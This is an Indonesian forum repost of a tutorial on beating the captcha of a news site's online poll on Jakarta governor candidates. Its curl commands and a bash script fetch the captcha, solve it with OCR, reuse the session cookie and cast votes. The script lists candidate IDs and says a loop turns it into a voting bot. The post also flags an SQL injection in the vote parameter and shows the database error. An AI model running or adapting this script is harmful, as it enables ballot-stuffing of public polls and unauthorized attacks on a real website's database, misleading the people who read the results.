RNDC [RNDC] Defeating Okezone Polling Captcha

Discussion in 'N3 Source Codes dan Tutorials' started by dono, Jul 12, 2012.

Discuss [RNDC] Defeating Okezone Polling Captcha in the N3 Source Codes dan Tutorials area at Nyit-Nyit.Net

  1. dono 3 SMP STAFF N3 Tukang Sapu

    Messages:
    2,399
    Likes Received:
    2,569
    Trophy Points:
    141
    Game:
    Dota 2
    Region:
    Australia
    [ Release 1/7/2012 ]

    Network : Defeating Okezone Polling Captcha
    Penulis : drubicza


    -----[ Disclaimer

    Tutorial ini hanya untuk tujuan pembelajaran saja. Penulis tidak bertanggung
    jawab atas penggunaan maupun penyalahgunaannya :p



    -----[ Pendahuluan

    Berawal dari status om y3dips di twitter[1] yang memberitahukan adanya flaw
    pada mekanisme captcha di situs polling okezone[2], akhirnya saya berinisiatif
    untuk melakukan pengujian. Kebetulan om y3dips juga memberikan referensi pada
    sebuah artikel di ezine echo[3]. Setelah membaca artikel ezine echo, saya ber-
    pikir untuk mencoba cara lain.



    -----[ Langkah-langkah

    * Setelah membuka situs okezone[2], kita bisa menemukan iframe polling untuk
    cagub/cawagub DKI Jakarta[4]. Dan jika dilihat sourcenya maka akan terlihat
    form beserta parameter yang akan di-post termasuk salah satunya berupa input
    validasi menggunakan captcha[5].


    * Selanjutnya, saya menggunakan wireshark untuk mengamati proses posting. Jadi
    langsung saja jalankan wireshark dan buka halaman polling[4] di browser. Dan
    setelah memasukkan nilai captcha serta menekan tombol pilih, maka kita bisa
    melihat parameter yang dikirim dalam bentuk POST kurang lebih seperti ini:

    Code:
     pollKanal=24&idPolling=239&votePolling=_NO_&kodehuman=_CAPTCHA_&button=Pilih

    * Dari log wireshark juga dapat dilihat bahwa proses polling menggunakan cookie
    untuk validasi. Bentuk cookienya seperti ini:
    Code:
    web4sesid=xxxxxxxxxxxxxxxxxxxxxxxxxx

    * Cookie tersebut diperoleh dari request gambar captcha. Dari informasi terse-
    but, kita bisa membuat kesimpulan sederhana bahwa kita cukup me-request gam-
    bar captcha dan mengambil cookie dari captcha tersebut untuk nantinya diikut-
    kan ketika melakukan posting polling.


    * Nah, sekarang untuk memecahkan captchanya, kita bisa menggunakan aplikasi
    gocr[6]. Jika sistem yang digunakan belum memilik gocr, silakan download dulu
    lalu compile atau langsung menggunakan paket sesuai dengan sistem yang
    digunakan.


    * Waktunya untuk mencoba melakukan request. Untuk mempermudah, kita menggunakan
    curl seperti ini:

    Code:
     curl -s -c okezone.cookie -o mini.png http://iface.okezone.com/captcha/mini

    * Adapun opsi yang digunakan adalah "-s" untuk mode silent,"-c" untuk menyimpan
    cookie pada file yang diinginkan dan "-o" untuk menyimpan output captcha pada
    file yang diinginkan, dalam hal ini diberi nama "mini.png" sesuai dengan for-
    mat gambar captchanya.


    * Setelah melakukan request, maka kita bisa memeriksa apakah cookienya berhasil
    disimpan:

    Code:
     $ cat okezone.cookie
    # Netscape HTTP Cookie File
    # http://curl.haxx.se/rfc/cookie_spec.html
    # This file was generated by libcurl! Edit at your own risk.
    
    iface.okezone.com FALSE / FALSE 0 web4sesid xxxxxxxxxxxxxxxxxxxxxxxxxx

    * Oke, cookienya berhasil disimpan ke dalam file "okezone.cookie". Selanjutnya
    memeriksa apakah captchanya bisa dipecahkan menggunakan aplikasi gocr:

    $ gocr mini.png
    8544


    * Ternyata berhasil. Langkah terakhir adalah melakukan posting sesuai dengan
    parameter yang telah ditentukan, termasuk menggunakan cookie yang telah di-
    simpan.
    Code:
    $ curl -s \
    > -b okezone.cookie \
    > -d "pollKanal=24&idPolling=239&votePolling=_NO_&kodehuman=$(gocr mini.png)&button=Pilih" \
    > "http://iface.okezone.com/index.php/polling/form/pollingcagubdki/24"

    * Ganti parameter _NO_ dengan angka kandidat yang dipilih, dan lakukan request.
    Jika captcha salah maka akan ada peringatan pada output berupa string "kode
    salah". Namun kali ini tidak ada string tersebut, yang artinya request ber-
    hasil dilakukan.


    * Jika kita mengganti parameter "votePolling" dengan karakter acak maka kita
    bisa melihat bahwa polling tersebut memiliki celah SQL injection yang kemung-
    kinan bisa dieksploitasi oleh pihak-pihak tertentu. Berikut ini adalah pesan
    error yang muncul:

    Code:
     A Database Error Occurred
    Error Number: 1054
    
    Unknown column 'FOO' in 'where clause'
    UPDATE ot_polling_a SET hit = hit + 1 WHERE id_polling_a = FOO

    * Untuk mempermudah, berikut ini adalah shell script yang akan melakukan proses
    di atas secara otomatis. Jika ingin dijadikan bot, cukup menambahkan looping.

    Code:
     #!/bin/bash
    #############################################################################
    # Disclaimer: For educational purpose ONLY!
    # How to use: 1. install gocr (http://jocr.sourceforge.net/)
    # 2. ganti parameter "votePolling" sesuai dengan nomor cagub,
    # lihat bagian "_CHANGE_THIS_" pada kode di bawah:
    #
    # 902 - Fauzi Bowo / Nachrowi Ramli
    # 903 - Hendardji Soepanji / Ahmad Riza
    # 904 - Joko Widodo / Baasuki T Purnama
    # 905 - Hidayat Nurwahid / Didik J Rachbini
    # 906 - Faisal Basri / Biem Benyamin
    # 907 - Alex Noerdin / Nono Sampono
    #
    # P/s : Pollingnya bisa kena SQLi :D
    #############################################################################
    curl -s -c okezone.cookie -o mini.png http://iface.okezone.com/captcha/mini
    curl -s \
    -b okezone.cookie \
    -d "pollKanal=24&idPolling=239&votePolling=_CHANGE_THIS_&kodehuman=$(gocr mini.png)&button=Pilih" \
    "http://iface.okezone.com/index.php/polling/form/pollingcagubdki/24"
    rm mini.png
    
    #####8<-----END_SOURCE-----##################################################


    -----[ Penutup

    Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang
    Maha Esa, RNDC, Maxindo, 1st****, y3dips, lirva32 dan Anda yang telah membaca
    tutorial ini.



    -----[ Referensi

    [1] https://twitter.com/...103823651995650
    [2] http://jakarta.okezone.com/
    [3] http://ezine.echo.or...e22/e22-009.txt
    [4] http://http://iface....lingcagubdki/24
    [5] http://iface.okezone.com/captcha/mini
    [6] http://jocr.sourceforge.net/

    Sumber: http://rndc.or.id/ez...ing-captcha.txt
     
    1 person likes this.

    Gunakan jasa Rekber N3 untuk menjamin jual beli anda atau menghindari penipuan dengan meng klik disini

Share This Page